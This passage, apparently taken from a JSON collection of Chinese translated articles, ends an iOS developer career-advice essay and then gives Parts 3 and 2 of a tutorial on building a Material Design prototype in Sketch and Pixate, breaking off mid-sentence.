去上传下载数据的感觉，就像在开宝马一般。而创建一个开源项目，就像在驾驶着一架大型的飞机。\n\n其实所有类型的交通工具都遵循通用的基础功能/模式。就比如我们的操作用到手把跟刹车，带来动力的引擎以及汽油。\n\n\n找到那些相似的模式都是不易的，但很值得投入时间去折腾。任务越有难度，完成时获得的成就感越强。打个比方，就算面临死亡的威胁，人们还是不顾一切地去攀登珠穆朗玛峰。当球赛比分为 5-0 ，人们都会失望离场，就你逆袭的时候。这已经有太多熟悉的模式以及你所了解的答案 - google，学习，应用，不断循环。\n\n### 4. 关于开源 ###\n\n**不要使用开源项目，除非你有能力自己去实现出相同的功能**\n\niOS 开发者依赖开源项目去实现网络，动画，还有 UI。然而，初学者通常都是直接下载这些库去使用。这让一切都变得十分简单，以至于他们学不到任何东西。\n\n这就是问题所在，想象一下你只需要做一个十分简单的任务，你却需要导入一个庞大的库。这好比你开一瓶小小的苏打水，却要用锋利的瑞士军刀。根本没必要大材小用。但当你必须添加这个库时，你的项目会变得十分臃肿。\n\n如果你不知道如何做出这些功能和特效，就去研究吧。这才是所谓的“开源”精神，下载他们的代码并开始仔细地分析，如果必要的话，你还可以“光明正大”地抄写这些代码。\n\n**为了成功地去做到这一点，你必须理解** `Access Control` **，还要对面向对象编程有深刻理解。**\n\n不要误会，这些开源库我也会经常使用，但我使用这些开源库，是因为就算没有这些库的情况下，我也知道应该如何去实现那些功能。更重要的是，利用这些开源库可以为我省下不少的时间，然后去做我想做的事。\n\n**我喜欢在骑单车的时候放开双手，这感觉让我十分的享受。一旦到关键时时刻，我也能快速抓紧把手控制好方向。假如我不懂骑单车的话，那一切都太荒谬了。**\n\n### 5. 面向协议思维 ###\n\n假设你已经熟悉了 OOP（面向对象编程），我更首先推荐你去考虑用 POP（面向协议编程）去设计一个功能。我这里写了几个指南来告诉大家 POP（面向协议编程）是有多棒。你可以在 [Part 1](https://medium.com/ios-geek-community/introduction-to-protocol-oriented-programming-in-swift-b358fe4974f#.nj16kndks)和 [Part 2](https://medium.com/ios-geek-community/protocol-oriented-programming-view-in-swift-3-8bcb3305c427#.33aau3khn) 去开始学习。\n\n\n### 6. 理解 App 的生命周期。 ###\n\n我们要知道 `ViewDidLoad`, `ViewWillAppear`, `ViewDidDisappear` 之间的区别。还要明白为啥要用 `ViewWillAppear` 来代替 `ViewDidLoad` 来实现网络逻辑。\n\n学习 `UIApplicataion` 的作用，还有为啥 `AppDelegate` 会存在。我已经上传了相关视频在 YouTube 。\n\n关于 App 的生命周期 ([YouTube](https://www.youtube.com/watch?v=mD8hsQjR1zk))\n\n\n### 7. 别担心服务器。 ###\n\n如果你还在 Swift 与 iOS 中挣扎，那就不用考虑去设计一个服务器和数据库了。直接使用 **Firebase** 好了，他就是一个服务器后台，可以使你使用十行不到的代码就可以存储数据。\n\n假如你的 app 人气很旺，已经发展到一亿用户了，你可以请个开发来做后台了。一个前辈曾经说过，如果你尝试同事去抓两只兔子，最终你只会一只都抓不到。当然，如果你觉得你对 iOS 的生态系统学习的差不多了，你也是时候去学习其他领域了。\n\n### 8. 笔记！笔记！笔记！ ###\n\n我经常说学习 API 就像是在背单词一样。在大学时候我得去学习几千个单词去应付考试。当然了，就算我现在已经忘得七七八八，但对于当时我的学习程度还是很自信的。\n\n有些人不知道应该在哪做笔记。你不需要什么特别的网站，先看看再说。你可以在 Medium 上分享，或者在 GitHub 上传你的笔记。还可以做个 Youtube 视频，就算是不公开的也 ok，然后多在电脑上做练习。\n\n上述方式这并不仅仅是你存储信息的地方，别人还能搜索到你的文章，帮助遇到同样问题的人。我相信善有善报的，更何况还能构建起你的个人品牌，也能拓展开自己的市场。\n\n我想你应该想知道在我是怎么开始写博客的，我把这篇文章写在\n\n**在我写博客的这10周里学到了什么 (** [*LinkedIn*](https://www.linkedin.com/in/bobleesj?trk=hp-identity-photo)  **)**\n\n### 9. 如何请求帮助 ###\n\n在 Facebook 有个博主他经营着一个叫 [iOS Developers](https://www.facebook.com/apple.ios.developers/?ref=bookmarks) 的主页，已经将近有 30,000 粉丝了。我发现那里有许多相关的软技能的提升，相信对提问者会有很大帮助。\n\n作为一个经常提问与发问的人，在这里我分享一些我提问的方式以及行之有效的方法给大家。\n\n首先我不会立刻说出我的问题，我会写几句来先介绍我是谁还有我是如何找到他。然后开始列出我所能搜索到的答案或者解决方案。因此我不会问一些无关紧要的问题。给个提示，如果我真的想要我的问题被彻底地解答，我会给其他人带来一些激励，我会表示当有解决方案的时候，我会乐意去分享给大家。\n\n**不过在你提问之前，先请搜索最少10页的 google。你从中会很惊讶地发现，通过搜索这问题你会发现不少意外的收获。**\n\n### 10. 不要依赖教程 ###\n\n通常，我们都希望得到大神们的指导与帮助。然而遇到问题时，尝试去鸡蛋碰石头是 ok 的，因为这样你会发现这并不是最好的解决方法。\n\n学习是靠你自己的。如果你一直依赖教程，你就会丧失“捕鱼”的能力。我的意思是，虽然你继续看我的教程也是很可以的，但如果你希望成为一个可持续发展的 iOS 开发者，你应该学会自己去将自己学到的东西总结成**文档**。尝试去阅读苹果提供的 API 指南，并尝试着去挑战自己。有时你就是需要不断地阅读文档来折腾自己才能获得提升。\n\n实际上，我已经能从头到尾读了 Swift 的官方文档超过3遍了，还熟记他里面的各种示例。通过阅读文档去学习也是种学习技能。\n\n教程通常都被包装成一种让学生容易理解的方式，但毫无疑问他并不包含很多基础内容。举个例子，如果只通过教程的学习，我是没办法完整地学习 Swift 的 Foundation 库的。\n\n**阅读教程是可以的。我以前也经常这么做。然而如果你发现有更好的学习方式，就要立刻睁大你的眼睛了。我身为这篇博客的导师，我敢说我的方法不一定是最好的，毕竟人无完人。**\n\n### 最后的话 ###\n\n对于那些想放弃的 iOS 开发者，你可以随时放弃都没问题，毕竟现在开发者太多了，而且我们也并不希望在 2017 年有更多平庸的开发者的出现。\n\n如果能给我们提供充足的饮料、流畅的网络以及提供一日三餐，**我们就没啥好抱怨的了**。假如我20岁的时候能仅仅通过 google，而且在没有获得计算机学位的前提下，六个月无师自通地学会 Swift 与 iOS，那么我相信你们也一定可以！\n\n**如果给篇文章读起来让你感觉到很傲慢，我感到十分抱歉。我感到很沮丧，为啥会有这种消极与抱怨的声音，去打击我们所在的现实中充满幸运与祝福的 2017 年，现在已经不是 1523 年了。作为文章最后的声明，我想分享一则来自一位失明者的格言，也是我最喜欢的格言之一。**\n\n> “唯一比看不见更糟糕的事情就是能看见但是没有愿景”。 - Helen Keller\n\n我希望这是我第一篇也是最后一篇没有使用 emoji 表情的文章。下次再见。\n\n\n"
  },
  {
    "path": "TODO/how-to-build-a-material-design-prototype-using-sketch-and-pixate-part-three.md",
    "content": ">* 原文链接 : [HOW TO BUILD A MATERIAL DESIGN PROTOTYPE USING SKETCH AND PIXATE - PART THREE](http://createdineden.com/blog/post/how-to-build-a-material-design-prototype-using-sketch-and-pixate-part-three/?utm_source=androiddevdigest)\n* 原文作者 : Mike Scamell\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Hugo](https://github.com/xcc3641)\n* 校对者: [Zheaoli](https://github.com/Zheaoli),[阿宅](https://github.com/rockzhai)\n\n# 使用 Sketch 和 Pixate 构建 Material Design 原型 - 第三部分\n\n<span>在本系列的 [Part 2](https://gold.xitu.io/entry/574eb491d342d300434cec1c) 我们已经将在 Sketch 中完成的作品导入到了 Pixate ，并且新建了一个简单的登陆原型。 </span>\n\n<span>最后在这个总结性的第三部分,我们将进一步深入，同时将会作出一个更细致的原型。 开始之前，你应该已经完成了 [Part 1](https://gold.xitu.io/entry/574d062b2e958a0069335d8e) and [Part 2](https://gold.xitu.io/entry/574eb491d342d300434cec1c) , 如果没有的话，先去看看这两篇内容吧.</span>\n\n我已经上传了你在 Part 3 里所有需要的 [Sketch 资源](https://www.dropbox.com/s/6ykfx9gukoacgp0/Material%20Design%20Prototype%20Assets.sketch?dl=0 \"Material Design Prototype Sketch Assets\") , 你要做的就是将它们导出来。记住，一定要按照 3x 方式导出，这样在手机上显示效果不错。 随意按照你喜欢的方式去修改它们，只要尽力保证大小相同，这样在这次教程中所用到的尺寸才能是正确的。\n\n## 让我们 drawer 点灵感\n\n首先，往我们的原型加入一个 navigation drawer 。 [navigation drawer](https://www.google.com/design/spec/patterns/navigation-drawer.html \"Navigation Drawer\") 是如今常见的设计样式，虽然某些时候开发者在利用它的时候会出现一些错误，但是它依旧被广泛的使用。\n\n通过点一下显示在菜单层的眼睛来隐藏登陆界面。新建一个新的画布，取名为“ Navigation Drawer ”。就像在 Sketch 里一样的尺寸 340x640。与登陆界面有 36 像素的 padding 值。这样我们才可以将 drawer 滑出。_Navigation Drawer_ 会占据 _Login Screen_ 左边页面空间，所以我们才可以将它滑出和滑进。_Navigation Drawer_ 画布的 X 轴应该是 -304。这样才能保证我们操作的区域可以被滑动。当然，一定改变这个画布的 “ Appearance ” 为透明的或者让_Navigation Drawer_ 的右端有一个灰色横条。最后，将 \" Nav Drawer with 36dp drag area \" 图片导入这个画布。\n\n现在有 drawer 在面板上了，我们可以加上 “Drag” 交互，让它可以被滑动或者拖动。点击并且拖出 “Drag” 交互作用在 _Navigation Drawer_ 画布（译者注：联想下 Android Studio XML 那里的 Design 拖拽添加布局），你会看到“ Drag ” 在右侧菜单的 “ Interactions ” 属性里。\n\n现在让我们配置一下“ Drag ”交互。我们仅仅想要 _Navigation Drawer_ 水平移动，所以我们得在“ Move w/Drag ”菜单选择“ Horizontal ”，然后我们再设置一个 _Navigation Drawer_  向右移动的最大值。如果我们不这样做，就可以将 drawer 一直拖出屏幕。在第一个参考建议里，我们应该确保已经选择了 “ Left ” 并且输入了 “-304” 在 “ Min position ” 输入框里。这样才可以保证 drawer 不会移到屏幕我们无法拖动的位置。第二个参考建议里，首先选择 \" Right \" 然后输入 \"340\" 到 \" Max Position \"。当我们拖动的时候，_Navigation Drawer_ 的 X 轴达到 340 时就会停住。如果以上都做好了，你应该会看到这样的画面：\n\n![Prototype with Navigation Drawer](http://createdineden.com/media/1771/part-3-image-2.png?width=750&height=497)\n\n## 画出来\n\n我们将会加更多的特性给 _Navigation Drawer_ 。它会自动的离开屏幕，意味着我不需要一直拖着它到左侧。\n\n![Put back in place properties](http://createdineden.com/media/1760/part-3-image-13.png?width=306&height=416)  \n我们需要一个 “ Move ” 动画，将它拖拽放到 _Navigation Drawer_ 上。我们再给这个交互取个名字，让我们更清晰地知道这个是做什么的。取个 “ Put back in place ”。这个 “ Move ” 需要在 _Navigation Drawer_  “ Drag Release ”基础上。当用户停止拖拽的时候，就会触发该动作。我们的动画得设置为 “ With duration to final value ”。现在看看我们的 “ IF ”条件，如果 drawer 小于 340 我们就希望 drawer 开始动画移出屏幕。接下来，我们需要设置好在哪里我们希望 drawer 开始 “ Move ” 动画。选择 “ Left ” 然后在参数输入框里输入 \"-304\"。最后，为 “ Easing Curve ” 选择 \" ease out \" 并且选择默认类型为 “ quadratic ”，这会让我们的 drawer 移动更加自然。\n\n好，让我们来测试一下。\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f4i39fizqwg205m0a0gre.gif)\n\n当我们往右拖 drawer ，最终会留出一定距离（之前设置的 padding），当我们往左拖一点点就可以让它移除屏幕。使它像一个真实的 navigation drawer 你还有很多可以做的，你就下去自己实践吧。\n\n## 首页\n\n好，让我们来创建 _Home Screen_ ，它包含了两个 tabs，_Versions_ 和 _In Words_。_Versions_ 页里有一个可滑动的列表页，_In Words_ 页里会有一个关于甜点的文章。\n\n首要任务先从 Sketch 中导出 _Home Screen_ 的资源，同样需要 3x 格式。如果你没有的话，你需要这些：\n\n*   <span>app and status bar</span>\n*   <span>versions tab selected</span>\n*   <span>in words tab selected</span>\n*   <span>tab indicator</span>\n*   <span>Version List</span>\n*   <span>In Words Content</span>\n\n回到 Pixate 然后导入这些资源。\n\n现在我们需要新建一个画布，命名为 “ Home Screen ”，将它的大小改成与 _Login Screen_ 一样，360x640。确保新的画布包含整个 _Login Screen_ 画布，不然待会出现问题。\n\n现在我们新建一个名为“ App and Status Bar ”的画布，这个为 _Home Screen_ 画布的一部分，添加“ app and status bar “ 从 Sketch 导出的图片作为 properties menu ，设置它的尺寸为 360x136 并且与顶部对齐。为什么作为 Sketch 文件高度是 136 而不是 128？现在我们需要对 Sketch 缺少的阴影做点解释，将颜色设置为透明，这样我可以避开任何背景，将灰色阴影渗出。然后你会得到一个这样的：\n![Prototype with newly added Home Screen](http://createdineden.com/media/1770/part-3-image-3.png?width=750&height=476)\n\n## 加入 Tab\n\n现在我们得到了 tabs ，并且实现了在它们之间切换的功能。\n\n我们需要两个画布，尺寸都是180x48，一个取名为“ Versions Tab Selected ” ，另一个为“ Background Tab Selected ”。确保它们都是 _Home Screen_ 画布的子集。_Versions Tab Selected_  放在 (0，80) 的位置，_Background Selected Tab_ 放在 (180，80)。\n\n![Prototype with tabs added](http://createdineden.com/media/1769/part-3-image-4.png?width=751&height=477)\n\n我们忘记了一件事情，tab 的焦点。新建一个画布，取名为 “ Tab Indicator ” ，尺寸设为 180x2 并且保证是_Home Screen_的子集，_Home Screen_ 这层应该是所有层的最外层，在 _Versions Tab_ 和 _Background Tab_ 之上。这样它才可以在顶部绘制，我们才可以看到它。然后你需要导入“ tab indicator ” 图片，放在(126,0)位置。\n![Prototype with tab indicator](http://createdineden.com/media/1768/part-3-image-5.png?width=735&height=462)\n\n## 焦点的动画\n\n好，现在我们设置好了像一个真实 app tabs 运作需要的里所有部件。现在我们想做的事是当点击 tab 后，焦点能够移动到对应的 tab 下。现在我们从 _Background Tab_ 开始。\n\n给 _Background Tab_ 添加一个 “ Tap ” 交互，我们将会基于这个 “ Tap ” 交互配置 _Tab Indicator_ ，为 _Tab Indicator_ 添加 “ Move ” 动画，命名为“ Move on Background tap ”，这样可以让我们清楚这个是做什么，在“ Based On ”下拉框里选择“ Background Tab ”，下面的“ Move To ”设置里，我们选择为“ Right ”并且输入参数 “360”，这个会移动 _Background Tab_ 下的焦点。接下来，为了让 tab 的运动更加自然，我们在 “ Easing Curve ” 设置里选择“ ease out ”，离开设置为“ quadratic ”。最后的一件事情，我们需要更改“ Duration ” 的参数为 “0.1”，像一个真实的 tab 焦点一样移动快速。这里就是你需要设置成的样子：\n\n![Tab Indicator movement settings](http://createdineden.com/media/1767/part-3-image-6.png?width=306&height=451)\n\n这样设置后，我们会看到：\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f4i3eljw7yg205m0a0dg4.gif)\n\n现在我们需要为 _Versions Tab_ 被点击后让 _Tab Indicator_ 移动回去。只需要用 _Versions Tab_ 重复之前的过程。这个将留给你们作为练习，一定要记住，给 _Versions Tab_ 添加 “ Tap ” 交互效果，否则你将看不到“ Based On ”的下拉选择框。完成后，你将会得到一个响应你每次点击 tab 的 tab 焦点。\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f4i3h4kcv9g205m0a074x.gif)\n\n## 看我上下滚动\n\n现在让我继续添加一个可滚动的列表给我的 app。我们已经得到了导出的 “ Version List ”  资源，所以让我们马上开始吧。\n\n新建一个“ Version List ”画布，放在 _Home Screen_ 画布下，尺寸设置为 360x1232。这会导致它比屏幕要长，但是别担心这个， Pixate 会帮我们解决。将 _Version List_ 放在 toolbar 下面， 滑出内容会被 toolbar 遮盖。\n![Prototype with Version List added](http://createdineden.com/media/1766/part-3-image-7.png?width=750&height=500)  \n\n现在我们赋予 list 滚动的能力。你可能会想我们只需要给 _Version List_ 添加一个“ Scroll ” 交互就可以了，但是我们其实要做的事情是去指定一个可以滚动的区域。\n\n首先让我简单的隐藏 _Version List_，先新建一个画布 “ Scroll ” 处于 _Home Screen_ 画布下。该画布从 app bar 和 tabs 下开始并且充满直到底部。它的尺寸为 360x512，x=0，y=128。你将会看到屏幕上有一个灰色的框，现在将 _Version List_ 放进 _Scroll Content_ 画布里。还原 _Version List_ 回到之前的样子。现在如果你运行这个原型，你可以上下滚动 _Version List_ 。\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f4i3o07r4rg205m0a0qb9.gif)\n\n## 切换 Tabs\n\n到目前为止，我们已经得到一个功能上还行的原型，但是我们还忘了给 tabs 添加切换能力。现在我们来做。\n\n我们在 _Home Screen_ 画布下新建一个“ In Words ”画布，将它放在 _Home Screen_ 的右边并且设置尺寸为360x512。将“ In Words Content ”图片添加进当前画布，然后你会得到：\n\n![Prototype with In Words content](http://createdineden.com/media/1765/part-3-image-8.png?width=750&height=495)\n\n我们现在需要新建一个画布作为我们的 ViewPager。它可以通过一个简单的滑动像一个真实 app 一样，从屏幕边缘实现一个 tab 移动到 另一个 tab。该画布应该是在整个画布系统中的最底端。它同样需要被 _In Words_ 和 _Scroll Content_ 添加，这样它才知道哪些内容是可以被移动的。\n![Layer hierarchy](http://createdineden.com/media/1773/screen-shot-2016-05-24-at-113710.png?width=280&height=248)  \n\n\n给 _View Pager_ 画布添加“ Scroll ”交互，这“ Scroll ”菜单中有一个“ Paging Mode ”属性，确保你在下拉框中选择了“ paging ”。如果这些都是设置好了，现在就可以滑动屏幕啦！\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f4i3qpkr60g205m0a0gsi.gif)\n\n## 滑动中移动 tab 焦点\n\n我们忘记了一件事情，我们还需要在滑动屏幕时，同时移动 tab 焦点，这样才能完成 _Home Screen_ 。\n\n给 _Tab Indicator_  添加 “ Move ” 动画，取名为” Move on Swipe Left “。按照下面图片进行设置：\n\n![Tab Indicator left movement settings](http://createdineden.com/media/1764/part-3-image-9.png?width=306&height=447)\n\n好，我们将该运动建立在当前 _View Pager_ 下的 tab上，并且当滚动停止的时候，我们才活动。在我们的“ IF ” 部分我们会检测如果我们已经与开始的 X 轴坐标移动了 360 ，这样我们会切换到浏览下一个 tab。当生效后，我们希望往左移动到 180 ，将焦点放在 _In Words_ tab 下。接下来，为了像之前一样得到一个自然的运动，我们会改变“ Easing Curve ” 为“ ease out ”。最后，我们将改变 duration 为 0.1，尽可能地让 tab 快速移动。\n\n现在如果你滑动屏幕，tab 也会跟着移动了。\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f4i3xx41irg205m0a0q8k.gif)\n\n现在你需要做的就是颠倒下这个过程，当你右滑时，tab 返回。这个会留给你们进行练习，我会给你们 \"IF\" 条件的提示：\n\n<span>    view_pager.contentX == 0</span>\n\n当你搞定了后，你的 _Tab Indicator_ 应该跟随着你滑动。\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f4i3zyhs8lg205m0a0guf.gif)\n\n## Finishing Touches\n\n现在我们来给 _Login Screen_ 切换到 _Home Screen_ 提供一个透明切换效果。你应该把它放在 _Home Screen_ 画布的上方，使 _Login Screen_ 在 Pixate 中可见。\n\n![Prototype with Login Screen back in](http://createdineden.com/media/1763/part-3-image-10.png?width=749&height=499)</span>\n\n当用户摁下登陆按钮时，我们添加一个简单的 scale 动画。为 _Login Screen_ 画布添加一个 “ Scale ” 动画，确保它作用于整个 _Login Screen_ 画布，并不是某个部分。按照以下要求设置动画：\n![Login Screen scale settings](http://createdineden.com/media/1762/part-3-image-11.png?width=305&height=452)</span>\n\n只有当用户已经完成了两个输入框的操作后，点击登陆按钮才会触发这个动画。我们通过因素和相连的X和Y进行缩放（因为我们想要均匀的缩放效果）。我们设置 “ Scale ” 到“0x”，意味着 _Login Screen_ 将会消失，然后我们设置“ ease out ” 和  “ Duration ” “0.3”，防止动画执行过快。\n\n现在我们可以看到:\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f4i41gcndwg205m0a0wi2.gif)\n\n最后，确保 _Navigation Drawer_ 不能在 _Login Screen_ 页面被滑出。我们需要这样设置:\n![Navigation Drawer fade in settings](http://createdineden.com/media/1761/part-3-image-12.png?width=305&height=411)</span>\n\n\n在 _Navigation Drawer_  的 “ Properties ”菜单减少它的“ Opacity ” 到 “0%”。这样将不会在 _Login Screen_ 被滑出了。接下来，给 _Navigation Drawer_ 画布添加一个 “ Fade ” 动画，就像之前给 _Login Screen_ 设置的缩放动画一样，我们想要这个 fade 动画同样在摁下登陆按钮后触发，同时设置为100%，这样才可以完整的看到 _Navigation Drawer_。我们延后0.3秒执行这个动画，这样 _Login Screen_ 可以完整执行缩放动画。\n\n最后一步！如果之前所有都没有问题，你将可以展示一个简易的 material design 的原型 app。\n![](http://ww4.sinaimg.cn/large/a490147fgw1f4i43y44jwg205m0a0tcd.gif)\n\n## 最后\n\n我希望你喜欢这个教程系列，你还可以在 Sketch 和 Pixate 上做很多事情来提示你的水平。如果你真的特别喜欢使用这些工具，我特别希望你可以去找更多的关于它们的教程。你可以做以下事情去完善这个原型：\n\n*   <span>在 Navigation drawer 里实现多页面，比如退出按钮。</span>\n*   <span>多屏幕适配</span>\n*   <span>完善登录页的消失动画</span>\n*   <span>完善 Navigation Drawer 移动，比如拖到一半的时候就打开</span>\n*   <span>利用在 Sketch 资源文件中的未被选择的 tabs 显示在当 tab 没有被选择时</span>\n\n如果你完善了原型或者对该教程想到了更好的点子，务必联系我，让我知道。我会特别高兴知道你想到的东西，在 twitter 上找 [Eden](https://twitter.com/CreatedInEden \"Eden\") 。\n\n感谢花时间学习这个教程系列。\nGood luck with Sketch and Pixate!\n"
  },
  {
    "path": "TODO/how-to-build-a-material-design-prototype-using-sketch-and-pixate-part-two.md",
    "content": ">* 原文链接 : [HOW TO BUILD A MATERIAL DESIGN PROTOTYPE USING SKETCH AND PIXATE - PART TWO](http://createdineden.com/blog/post/how-to-build-a-material-design-prototype-using-sketch-and-pixate-part-two/)\n* 原文作者 : Mike Scamell\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [zhangzhaoqi](https://github.com/joddiy)\n* 校对者: [Velacielad](https://github.com/Velacielad)，[Zheaoli](https://github.com/Zheaoli)\n\n# 使用 Sketch 和 Pixate 构建 Material Design 原型 - 第二部分\n\n在教程的 [第一部分](http://gold.xitu.io/entry/574d062b2e958a0069335d8e \"如何使用 Sketch 和 Pixate 来构建一个 Material Design 原型 —— 第一部分\") 我们制作了一个简单的登录界面并导出了所有资源。\n\n在第二部分，我们打算继续在 Pixate 里创建一个原型。对于这一部分，你需要：\n\n\n*   <span> Android 或者 IOS 设备（最好是 Android ）。如果你能弄到屏幕尺寸是 1080 x 1920 的设备那更好了，但那不是必须的， Pixate 将为你缩放原型。</span>\n*   [<span>Pixate Studio</span>](http://www.pixate.com/getstarted/ \"Pixate Studio\")\n*   <span><span>下载 Pixate app 到你的</span> [Android](http://bit.ly/1Wp5wuG \"Pixate Android App\") <span>或者</span> [iOS](http://apple.co/1qdImcZ \"Pixate App iOS\") <span>手机上。 </span></span>\n*   <span>WiFi</span>\n\n## 在 Pixate 上创建原型\n\n<span>打开 Pixate 并且点击 “ Create new prototype ” 来创建一个原型，或者从“ File ”菜单新建一个。我们给它命名为“ Material Design Prototype ” 并保存到某个地方。在下一个界面选择“ Nexus 5 ”作为你的 “ Target Device ”（适配设备），然后点击“ Add Prototype ”完成创建。这里要说明的是如果你的设备屏幕分辨率大于 1080x1920 的话，当原型加载到你的手机上时会显得有些模糊。这也确实说明 Pixate 为你的设备进行了缩放。对于分辨率更小的设备， Pixate 也会把比例缩小。</span>\n\n<span>现在你应该能看到一个空白的矩形，上面只有“ Getting Started ”几个字（译者注：在译者使用的 2.0.1 版本下，除了 Getting Started 几个大字外，下面还有一些说明性的小字），这看起来和 _Login Screen_ 有些 迷之相似。它们有着相同的尺寸，因此我们的设计可以且按照正确的比例很好地、简单地移植过去。</span><span>\n![空 Pixate 项目](http://createdineden.com/media/1527/screen-shot-2016-03-10-at-142718.png?width=726&height=540)</span>\n\n<span>在 Pixate Studio 的左手边是一个小图标菜单（译者注：最左边纵向排列的三个图标）。选择纵向第二个的“ Assets ”图标。导航到你放置 Sketch 所有导出资源的文件夹，全选并且点击“ Open ”。现在所有的图片就都被导入 Pixate 了：</span>\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f41tri3lmej20ke0egq3u.jpg)\n\n<span>再导航回“ Layers ”菜单（左边小图标菜单的最上面那个）然后让我们尽情利用我们的资源吧！！</span>\n\n<span>在“ Layers ”菜单，点击“ + ”小按钮来创建一个新的层。这时在你的空白矩形上方会出现一个灰色的小格子。重命名这个层为“ Login Screen ”，好让我们知道这是什么。然后扩展这个格子让它填充满整个白色矩形背景。</span>\n\n<span>这个灰色矩形将要成为 Login Screen （登录页面）的载体。在选中左手边菜单栏中的 _Login Screen_ 前提下，查看右边的“ Properties ”菜单。这个时候我们通过点击Appearance一栏右侧的“ + ”小图标（译者注：在这个栏的右边）来选择我们从 Sketch 导出的 _Login Screen_ 图片。</span>\n\n![](http://ww4.sinaimg.cn/large/a490147fgw1f41trxrhhpj20ke0egjsu.jpg)\n\n## 你能框住疼痛吗（译者注：关于介绍文本框的有趣说法）?!\n\n<span>现在我们要加入文本框了，再一次点击“ Add a layer ”，再一次的，我们得到了一个相似的灰色格子。这个格子的尺寸要和我们从 Sketch 项目中导出的 _email text field_ 的尺寸相同，对我（译者注：本文原作者的设备）来说是 328 x 48 。使用右手边的“ Properties ”菜单的“ Size ”属性来调整尺寸大小。我们也将使用 Sketch 中的定位，我的 _email text field_ 的x坐标为16，y坐标为296。然后把这些输入 Pixate 右边菜单中的 “ Position ”栏中。最后，我们通过之前导出 _Login Screen_ 图片一样的操作来从 Sketch 导出 _email text field_  图片。</span>\n\n<span>我们需要移动 _email text field_ 使它成为 _Login Screen_ 的一部分。在左边“ Layers ”菜单中点击并且拖动 _email text field_ 放置到  _Login Screen_ 上面，我们就能看到 _email text field_ 已经成为 _Login Screen_ 的一部分了。</span>  \n![](http://ww2.sinaimg.cn/large/a490147fgw1f41tsa8p9tj20ke0eg75g.jpg)\n\n<span>但是！等等等下！EMAIL 输入框中那个丑陋的灰色线条是干嘛的？</span>\n\n<span>好吧，当我们从 Sketch 中选择我们导出的 _email input field_ 资源时，我们没有从我们的层上去掉灰色背景。让我们选中 _email input field_ ，看一下右边“ Properties ”菜单中的“ Appearance ”栏。在靠近你导出的 _email input field_ 名字旁边有一个灰色小格子（译者注：_email input field_ 名字左边那个），点击一下然后弹出一个颜色调色板，我们需要选择透明色，就是左上角中间有个红色对角线的那个。嗒哒！然后灰色线条就被去掉了。要记得每次导入图片都要做这些。</span>\n\n<span>我假定你已经足够聪明去意识到我们要对 _Login Screen_ 的其余组件都这样操作，包括 _login button_ ， _raised login button_ ， _email text field with input_ 和 _password text field_。 </span>\n\n<span>在你做完这些应该做的事情之后，你会看到下面的这样：</span>\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f41tsocpvfj20ke0egdh2.jpg)\n\n<span>你可以看到我加入的每样东西都属于 _Login Screen_ 层。</span>\n\n<span>接下来你需要把已经填充好的栏目加进来。最简单的方法就是点击我们想要加入填充状态的输入框所属的层。然后点击“ Layers ”菜单顶部的“ Duplicate layer ”按钮。这将给你选择的东西创建一个拷贝。所以让我们对 _email text field with input_ 执行上述操作。在拷贝好之后,你需要点击并且拖动它，确保它位于 _email text field_ 下面。然后你可能需要翻看你的 Sketch 项目找出正确的大小和位置，从而修改它的尺寸确保它不会超出规模，然后还要把它移动到合适的位置。</span>\n\n<span>一旦你已经把这些层放置到它们空白的相对应处，那就应该点击眼睛图标来隐藏它们，就像我们在 Sketch 做的那样。最后一件你应该做的事情是用右边属性菜单中的“ Opacity ”给 _email text field with input_ 和 _password text field with input_ 设置为 0%。这样做的原因是当我们最终使用 Pixate 应用加载这个项目的时候它们是不可见的，所以在 Pixate Studio中没有必要花费注意力在这些层的可见性设置上。</span>\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f41tt3hbjvj20ke0eggmv.jpg)\n\n<span>正如上面的截图，我加入了一些带有输入的框但是它们被隐藏了。现在我们搞点有趣的事情 —— 动画 :D 。</span>\n\n## 让框的输入动起来 (我想不出有趣的题目了)\n\n<span>现在让我们给登录界面加入一些动画。我们从文本框开始，然后再弄按钮。</span>\n\n<span>在左边“ Layers ”菜单下面是两个格子 —— “Interactions”和 “Animations”，这两个格子各自包含了不同的互动和动画。互动有类似“ Tap ”（类似“点击打开”的意思）和“ Drag ”（拖动）。动画有类似“ Scale ”（缩放）和“ Move ”（移动）。为了使用它们，我们需要把它们拖动到我们想要互动和动画发生的层上面，真是简单好用。</span>\n\n<span>让我们从 _email text field_ 开始吧。 在左边选中它，然后从“ Interactions ”格子中点击并拖动“ Tap ”，并且把它丢到 _email text field_ 层上面。接下来我们需要 “ Animations ”（动画）格子里面的“ Fade ”（渐变），像对 _email text field_ 操作那样点击并拖动它。你应该能在右边“ Properties ”（属性）菜单中的“ Interactions ”下面能看到一个小的 Tap 图标，在Animations ”下面看到“ Fade ”。</span>\n\n<span>我们现在想要设置当我们点击 _email text field_ 时使其渐出。在右边菜单的“ Fade ”下点击“ Based On ”（基于）并且选择 _email text field_ 。这时会弹出更多的选项，你可以研究一下，不过我们这里只关心“ Fade to ”，点击格子并输入 “ 0 ”。</span>\n\n![](http://ww3.sinaimg.cn/large/a490147fgw1f41ttixjxnj20ke0egjt2.jpg)\n\n<span>你快要能够见证你的第一个动画了，现在你仅仅需要在你的设备上运行 Pixate 应用。</span>  \n\n## 在你的设备上设置 Pixate \n\n<span>确认你已经下载 Pixate 应用到你的 [Android](http://bit.ly/1Wp5wuG \"Pixate Android App\") 或者 [iOS](http://apple.co/1qdImcZ \"Pixate App iOS\") 手机上了。</span>\n\n<span>打开 Pixate 应用。这个应用会从网络上查找你的 Pixate Studio ，所以稍等一下并且确保你已经连接 WiFi 了。 Pixate 应用有时对我不太友好，所以你有可能需要退出并且重新进入。你也可以通过 IP 地址连接。</span>\n\n<span>当你的电脑出现的时候，点击它。在 Pixate Studio 的右上角点击“ Devices 